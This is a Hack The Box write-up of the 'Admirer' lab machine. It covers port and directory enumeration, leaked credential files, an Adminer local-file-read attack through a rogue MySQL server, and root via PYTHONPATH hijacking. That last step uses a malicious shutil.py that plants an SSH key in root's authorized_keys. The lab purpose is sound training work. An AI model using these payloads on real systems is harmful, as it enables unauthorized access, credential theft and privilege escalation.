Admirer - Hack The Box

Lorem Ipsum is simply dummy text of the printing and typesetting industry. Lorem Ipsum has been the industry’s standard dummy text ever since the 1500s, when an unknown printer took a galley of type and scrambled it to make a type specimen book. It has survived not only five centuries, but also the leap into electronic typesetting, remaining essentially unchanged. It was popularised in the 1960s with the release of Letraset sheets containing Lorem Ipsum passages, and more recently with desktop publishing software like Aldus PageMaker including versions of Lorem Ipsum.
hackthebox
Author

0xPThree

Published

May 15, 2020

“Lorem Ipsum is simply dummy text of the printing and typesetting industry. Lorem Ipsum has been the industry’s standard dummy text ever since the 1500s, when an unknown printer took a galley of type and scrambled it to make a type specimen book. It has survived not only five centuries, but also the leap into electronic typesetting, remaining essentially unchanged. It was popularised in the 1960s with the release of Letraset sheets containing Lorem Ipsum passages, and more recently with desktop publishing software like Aldus PageMaker including versions of Lorem Ipsum.”

██╗ ██╗███████╗███████╗██████╗ ██║ ██║██╔════╝██╔════╝██╔══██╗ ██║ ██║███████╗█████╗ ██████╔╝ ██║ ██║╚════██║██╔══╝ ██╔══██╗ ╚██████╔╝███████║███████╗██║ ██║ ╚═════╝ ╚══════╝╚══════╝╚═╝ ╚═╝

  1. root@nidus:~# nmap -Pn -sC -sV -n admirer.htb PORT STATE SERVICE VERSION 21/tcp open ftp vsftpd 3.0.3 22/tcp open ssh OpenSSH 7.4p1 Debian 10+deb9u7 (protocol 2.0) | ssh-hostkey: | 2048 4a:71:e9:21:63:69:9d:cb:dd:84:02:1a:23:97:e1:b9 (RSA) | 256 c5:95:b6:21:4d:46:a4:25:55:7a:87:3e:19:a8:e7:02 (ECDSA) |_ 256 d0:2d:dd:d0:5c:42:f8:7b:31:5a:be:57:c4:a9:a7:56 (ED25519) 80/tcp open http Apache httpd 2.4.25 ((Debian)) | http-robots.txt: 1 disallowed entry |_/admin-dir |_http-server-header: Apache/2.4.25 (Debian) |_http-title: Admirer Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

    DIRB:

    • http://10.10.10.187/index.php (CODE:200|SIZE:6051)
    • http://10.10.10.187/robots.txt (CODE:200|SIZE:138)

    NIKTO:

    • “robots.txt” contains 1 entry which should be manually viewed.

  2. robots.txt contains “Disallow: /admin-dir”. Fuzzing the directory we find nothing, however adding searching for .txt-files we do find contacts.txt and credentials.txt.

    root@nidus:/opt# ffuf -c -w /usr/share/wordlists/dirb/big.txt -u http://10.10.10.187/admin-dir/FUZZ.txt

     /'___\  /'___\           /'___\
/\ \__/ /\ \__/  __  __  /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
 \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
  \ \_\   \ \_\  \ \____/  \ \_\
   \/_/    \/_/   \/___/    \/_/

v1.1.0-git

    :: Method : GET :: URL : http://10.10.10.187/admin-dir/FUZZ.txt :: Wordlist : FUZZ: /usr/share/wordlists/dirb/big.txt :: Follow redirects : false :: Calibration : false :: Timeout : 10 :: Threads : 40 :: Matcher : Response status: 200,204,301,302,307,401,403 ________________________________________________

    contacts [Status: 200, Size: 350, Words: 19, Lines: 30] credentials [Status: 200, Size: 136, Words: 5, Lines: 12]

  3. Curl the pages:

    root@nidus:~# curl http://admirer.htb/admin-dir/contacts.txt ########## # admins # ########## # Penny Email: p.wise@admirer.htb

    ############## # developers # ############## # Rajesh Email: r.nayyar@admirer.htb

    # Amy Email: a.bialik@admirer.htb

    # Leonard Email: l.galecki@admirer.htb

    ############# # designers # ############# # Howard Email: h.helberg@admirer.htb

    # Bernadette Email: b.rauch@admirer.htb

    root@nidus:~# curl http://admirer.htb/admin-dir/credentials.txt [Internal mail account] w.cooper@admirer.htb fgJr6q#S:$P

    [FTP account] ftpuser %n?4Wz}R$tTF7

    [Wordpress account] admin w0rdpr3ss01!

  4. Using the FTP credentials we can extract to files, html.tar.gz and dump.sql. Extracting we find even more useful info:

    root@nidus:/opt/htb/machines/admirer/ftp/html# cat index.php .. $username = “waldo”; $password = “]F7jLHw:*G>UPrTo}~A”d6b”; $dbname = “admirerdb”;

    root@nidus:/opt/htb/machines/admirer/ftp/html/utility-scripts# cat db_admin.php .. $servername = “localhost”; $username = “waldo”; $password = “Wh3r3_1s_w4ld0?”;

    root@nidus:/opt/htb/machines/admirer/ftp# cat dump.sql – MySQL dump 10.16 Distrib 10.1.41-MariaDB, for debian-linux-gnu (x86_64)

Trying to brute force SSH with found credentials gives nothing. Continue to enumerate.

  1. Fuzzing the utility-scripts directory we find a login page, adminer.php.

    root@nidus:/opt# ffuf -c -w /usr/share/wordlists/dirb/big.txt -u http://10.10.10.187/utility-scripts/FUZZ.php

         /'___\  /'___\           /'___\
    /\ \__/ /\ \__/  __  __  /\ \__/
    \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
     \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
      \ \_\   \ \_\  \ \____/  \ \_\
       \/_/    \/_/   \/___/    \/_/

    v1.1.0-git
 ________________________________________________

  :: Method           : GET
  :: URL              : http://10.10.10.187/utility-scripts/FUZZ.php
  :: Wordlist         : FUZZ: /usr/share/wordlists/dirb/big.txt
  :: Follow redirects : false
  :: Calibration      : false
  :: Timeout          : 10
  :: Threads          : 40
  :: Matcher          : Response status: 200,204,301,302,307,401,403
 ________________________________________________

 .htpasswd               [Status: 403, Size: 277, Words: 20, Lines: 10]
 .htaccess               [Status: 403, Size: 277, Words: 20, Lines: 10]
 adminer                 [Status: 200, Size: 4156, Words: 189, Lines: 52]
 info                    [Status: 200, Size: 83813, Words: 4024, Lines: 962]
 phptest                 [Status: 200, Size: 32, Words: 8, Lines: 1]

  2. Adminer is a database front-end, and the current running version is 4.6.2. We are unable to login with found credentials. Googling about that version we find that it has a vulnerability that allows us to get the server to connect back to us, and extract local credentials.

    Start by setting up our local SQL Server.

    root@nidus:/opt# vi /etc/mysql/mariadb.conf.d/50-server.cnf .. #port = 3306 .. #bind-address = 127.0.0.1

    root@nidus:/opt# service mysql restart root@nidus:/opt# mysql -u root MariaDB [(none)]> CREATE USER ‘p3’@admirer.htb IDENTIFIED BY ‘test123’; MariaDB [(none)]> GRANT ALL PRIVILEGES ON . TO ‘p3’@admirer.htb IDENTIFIED BY ‘test123’; MariaDB [(none)]> FLUSH PRIVILEGES; MariaDB [(none)]> create database giveUser;

    Double check that your service is up and running. root@nidus:/opt# nmap 10.10.14.5 -p 3306 PORT STATE SERVICE 3306/tcp open mysql

    Connect back to your local server from the login promt. System: MySQL Server: 10.10.14.5 Username: p3 Password: test123 Database: giveUser

  3. Once logged in in the top left corner press ‘SQL Command’ and use local file read exploit to find the new and updated creds in index.php.

    load data local infile ‘/var/www/html/index.php’ into table giveUser.ext fields terminated by “”

Press ‘select’ next to the table ext and scroll down to find new creds. .. edit $servername = “localhost”; edit $username = “waldo”; edit $password = “&<h5b~yK3F#{PaPB&dA}{H>”; edit $dbname = “admirerdb”;

  1. SSH with new found credentials and grab user.txt waldo@admirer:~$ cat user.txt 07ef49887c197759a2815e192ff97638

██████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████

██████╗ ██████╗ ██████╗ ████████╗ ██╔══██╗██╔═══██╗██╔═══██╗╚══██╔══╝ ██████╔╝██║ ██║██║ ██║ ██║ ██╔══██╗██║ ██║██║ ██║ ██║ ██║ ██║╚██████╔╝╚██████╔╝ ██║ ╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═╝

  1. sudo -l tells us that we can change the environment variables (setenv) and run /opt/scripts/admin_tasks.sh as root. In the directory /opt/scripts we find 2 scripts ‘admin_tasks.sh’ and ‘backup.py’. The backup-script calls for function ‘make_archive’ in module ‘shutil’, which is triggered from admin_tasks.sh ‘Backup Web Data’-function (option 6).

    waldo@admirer:/tmp/p3$ sudo -l .. User waldo may run the following commands on admirer: (ALL) SETENV: /opt/scripts/admin_tasks.sh

    waldo@admirer:/opt/scripts$ cat admin_tasks.sh #!/bin/bash .. backup_web() { if [ “$EUID” -eq 0 ] then echo “Running backup script in the background, it might take a while…” /opt/scripts/backup.py & else echo “Insufficient privileges to perform the selected operation.” fi }

    waldo@admirer:/opt/scripts$ cat backup.py #!/usr/bin/python3

    from shutil import make_archive

    src = ‘/var/www/html/’

    # old ftp directory, not used anymore #dst = ‘/srv/ftp/html’

    dst = ‘/var/backups/html’

    make_archive(dst, ‘gztar’, src)

  2. By default, python will ALLWAYS execute external modules first from winthin the directory of the script (/opt/scripts) and then follow PYTHONPATH. Unfortunatley we are not allowed to write files into /opt/scripts, so next we check if we can hijack the module in any of the PATH-directories.

    Locate shutil.py: waldo@admirer:/opt/scripts$ find / -name shutil.py 2>&1 | grep -v “Permission denied” /usr/lib/python3.5/shutil.py /usr/lib/python2.7/shutil.py

    Check PYTHONPATH: waldo@admirer:/opt/scripts$ python3 -c ‘import sys; print (sys.path)’ [’‘,’/usr/lib/python35.zip’, ‘/usr/lib/python3.5’, ‘/usr/lib/python3.5/plat-x86_64-linux-gnu’, ‘/usr/lib/python3.5/lib-dynload’, ‘/usr/local/lib/python3.5/dist-packages’, ‘/usr/lib/python3/dist-packages’]

    Looking in the box we can confirm that neither is /usr/lib writeable. We are unable to hijack the module by inserting a malicious script before the original.

However, looking at the output from ‘sudo -l’ we are allowed to “SETENV”, meaning we can change and honor PATH’s.

  1. Create a malicious file you’d like the script to trigger. Start by a simple one and then move on to a more complex to grant a shell.

    Write to a file: waldo@admirer:/dev/shm$ cat shutil.py import os os.system(“echo ‘test’ >> /dev/shm/test.txt”)

    Run the script with your environment PATH (where your malicious script is). waldo@admirer:/opt/scripts$ sudo PYTHONPATH=“/dev/shm” ./admin_tasks.sh .. Choose an option: 6 Running backup script in the background, it might take a while…

waldo@admirer:/dev/shm$ ls -al total 8 drwxrwxrwt 2 root root 100 May 15 12:11 . drwxr-xr-x 17 root root 560 May 15 12:11 .. -rw-r–r– 1 waldo waldo 671 May 15 12:11 shutil.py -rw-r–r– 1 root root 5 May 15 12:06 test.txt -rw-r–r– 1 root root 0 May 15 10:21 .tmpfs

test.txt was created by root. We can now make it more complex and insert our public key into root’s authorized_keys.

waldo@admirer:/dev/shm$ cat shutil.py import os def make_archive(a,b,c): os.system(“mkdir /root/.ssh;echo ‘ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCvjlE9AC+5OMV006RAncmH9w/Jr0DYYdxnneDLtTof+DV1qghPPhkjDYyD4Noj3O9W/aD6ZziBa2O9ONnCNBFPTBULr+Uyy2bBLY4xLDb3meIQdplTHGBUus75JZY4MDBRQD5fLPV4xsw/DNAiXGO1DjG3fk6iTV5GgTrhhmH79Lr2XCTWU2Z48EJrIFVJiM+UAyl3qg+nRQ7btAypgzsGyI9MC2zsAnr77Q8lqM0VGkH97PLGo7ljvD4Fy96U8PaIT/sle0Nai/muH8+NetD1RQK5caBJf3zYTs6L1NEacF5c7N9xCDwMsC0ot5z0EIe3jF0So+a8ulCgjgEXl1wVyCaciyqyFzSfVdGeh4m7evluYUAhxQOJR4XoK385+b5G9bYoXOuGhkCPI8s+nHIgjVFU+g5P/vgpt0VEZKVfIG/2J7Ykk9jniBIyZEzVpUPyuOEHexgILs7l7c5uNUQaKalJAA4GK7X+Dyd9WWrLvuIJIwf55Z47uItIJVS7aT8= root@nidus’ >> /root/.ssh/authorized_keys”)

  1. Login as root and grab root.txt

    root@nidus:/opt/htb/machines/admirer# ssh root@admirer.htb -i root-id_rsa root@admirer:~# cat root.txt 57abe1909d2a490f3aa0daa4c8c0833d

██████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████

██╗███╗ ██╗███████╗ ██████╗ ██████╗ ███╗ ███╗ █████╗ ████████╗██╗ ██████╗ ███╗ ██╗ ██║████╗ ██║██╔════╝██╔═══██╗██╔══██╗████╗ ████║██╔══██╗╚══██╔══╝██║██╔═══██╗████╗ ██║ ██║██╔██╗ ██║█████╗ ██║ ██║██████╔╝██╔████╔██║███████║ ██║ ██║██║ ██║██╔██╗ ██║ ██║██║╚██╗██║██╔══╝ ██║ ██║██╔══██╗██║╚██╔╝██║██╔══██║ ██║ ██║██║ ██║██║╚██╗██║ ██║██║ ╚████║██║ ╚██████╔╝██║ ██║██║ ╚═╝ ██║██║ ██║ ██║ ██║╚██████╔╝██║ ╚████║ ╚═╝╚═╝ ╚═══╝╚═╝ ╚═════╝ ╚═╝ ╚═╝╚═╝ ╚═╝╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚═════╝ ╚═╝ ╚═══╝

Adminer Vuln https://medium.com/bugbountywriteup/adminer-script-results-to-pwning-server-private-bug-bounty-program-fe6d8a43fe6f https://www.foregenix.com/blog/serious-vulnerability-discovered-in-adminer-tool

MariaDB https://mariadb.com/kb/en/configuring-mariadb-for-remote-client-access/ https://mariadb.com/kb/en/select-into-outfile/

Python Shutil https://vuldb.com/?id.124167 https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2018-1000802

Python sys.path https://askubuntu.com/questions/470982/how-to-add-a-python-module-to-syspath

Python Session Hijacking https://rastating.github.io/privilege-escalation-via-python-library-hijacking/ https://medium.com/@klockw3rk/privilege-escalation-hijacking-python-library-2a0e92a45ca7